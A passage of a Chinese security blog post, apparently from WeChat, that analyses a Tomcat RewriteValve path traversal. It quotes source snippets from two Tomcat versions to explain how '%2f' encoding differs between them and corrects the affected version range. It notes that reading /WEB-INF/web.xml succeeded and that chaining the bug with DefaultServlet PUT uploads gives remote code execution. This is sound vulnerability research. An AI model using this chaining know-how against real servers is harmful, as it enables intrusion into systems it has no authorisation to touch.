&#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">成功访问 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/WEB-INF/web.xml</span></code><span leaf=""> 的效果如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008865" class="rich_pages wxw-img" data-ratio="0.3778213935230618" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=1f24457b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYMtwkGEtYGyTQRctaWtJcGUaeD7968aCwWFxIzl9VwlWjW2UwVQFmDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">回顾公众号 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-24813</span></code><span leaf=""> 的分析文章 <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247491632&amp;idx=1&amp;sn=4f849b8b77db48f26ab7dc6eee90092a&amp;scene=21#wechat_redirect" textvalue="CVE-2025-24813 Apache Tomcat 远程命令执行漏洞分析与总结" data-itemshowtype="0" linktype="text" data-linktype="2">CVE-2025-24813 Apache Tomcat 远程命令执行漏洞分析与总结</a> ，如果开启了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DefaultServlet PUT</span></code><span leaf=""> 功能，会将文件上传并保存，组合这个路径遍历漏洞可以实现 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> 。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">影响范围修正</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">当我切换到更早的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v9.0.65</span></code><span leaf=""> 版本时发现漏洞无法触发：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008863" class="rich_pages wxw-img" data-ratio="0.25576730190571717" data-type="png" data-w="997" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=02fc0027&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavY8PnbuR2ibiavCibCib9eMVjcciaSzjC83RsjJdDHCMXxJ7HeEDAmxzNw5AQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">经分析找到问题出在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URLEncoder</span></code><span leaf="">。注意</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteValve</span></code><span leaf="">在进行</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">normalize</span></code><span leaf="">归一化处理前，存在一个</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">编码过程，但两者处理方式存在区别：</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v9.0.65</span></code><span leaf="">使用默认的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URLEncoder</span></code><span leaf="">实例，因此</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%2f</span></code><span leaf="">会变为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%252f</span></code><span leaf=""> 。</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">public</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">void</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">invoke</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">(Request request, Response response)</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">throws</span></span><span leaf=""> IOException, ServletException {</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">  chunk.append(URLEncoder.DEFAULT.encode(urlStringDecoded, uriCharset));</span><span leaf=""><br/></span><span leaf="">  request.getCoyoteRequest().requestURI().toChars();</span><span leaf=""><br/></span><span leaf="">  urlStringDecoded = RequestUtil.normalize(urlStringDecoded);</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">而 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v9.0.108</span></code><span leaf="">中</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteValve</span></code><span leaf="">新定义了</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">REWRITE_DEFAULT_ENCODER</span></code><span leaf="">完成</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">编码 ，该对象在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">static</span></code><span leaf="">代码块中添加了</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%</span></code><span leaf="">字符到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">safeCharacters</span></code><span leaf="">中，导致</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%2f</span></code><span leaf=""> 编码时会保持不变。</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">public</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">void</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">invoke</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">(Request request, Response response)</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">throws</span></span><span leaf=""> IOException, ServletException {</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">  chunk.append(REWRITE_DEFAULT_ENCODER.encode(urlStringRewriteEncoded, uriCharset));</span><span leaf=""><br/></span><span leaf="">  urlStringRewriteEncoded = org.apache.tomcat.util.http.RequestUtil.normalize(urlStringRewriteEncoded);</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">static</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    REWRITE_DEFAULT_ENCODER = (URLEncoder)URLEncoder.DEFAULT.clone();</span><span leaf=""><br/></span><span leaf="">    REWRITE_DEFAULT_ENCODER.addSafeCharacter(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#39;%&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">找到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">commit</span></code><span leaf=""> 记录如下（</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Better handling of URLs with literal &#39;;&#39; and &#39;?&#39;</span></code><span leaf="">）：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008866" class="rich_pages wxw-img" data-ratio="0.5833333333333334" data-type="png" data-w="1224" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=69345ae4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYRH6LAdic8kFeicQwCxGOZwaj1oGS2xVBlNsmn7T3Tb1HA0cTt4bGMiauw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008869" class="rich_pages wxw-img" data-ratio="0.1803411860276198" data-type="png" data-w="1231" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=fae295af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYiasrD1u5nk3F3BNlAs9U0ib4a4Ma05xvZCfu6LLxWfBXUjvO14nZQEpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 